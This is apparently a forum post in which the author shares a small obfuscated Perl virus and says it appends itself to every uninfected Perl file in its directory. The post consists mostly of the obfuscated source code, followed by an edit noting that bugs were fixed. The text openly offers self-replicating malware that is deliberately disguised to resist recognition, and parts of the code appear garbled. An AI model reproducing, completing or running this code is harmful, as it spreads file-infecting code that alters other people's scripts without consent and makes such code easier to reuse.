A very simple perl virus that I wanted to share. Copies itself to the end of every perl file in its directory that is not already infected; does nothing else. The code is obfuscated to make it harder to recognize (althought, it's not very hard for anyone who knows perl well).
#auiqi @a=#; qw{do file reach open print self close while ; auiqi};$a=#; $a.'s/'.$_.'/'.$a[$_].'/g;'for($a+1..9);$_=#; q{@a = <*>8 1s:fo2(@a){if(m^.pl^){$a=$_83(1,$a)8 7(<1>){next 1s if m`9 +`8} 6 18 3(1,'>>'.$a )8 3(5,$0)8 7(<5>){last if /9/;} 4 1 "#9\n"; 4 +1 7<5>8 }}}; eval $a;eval;
EDIT: Fixed the bugs that kyle pointed out.
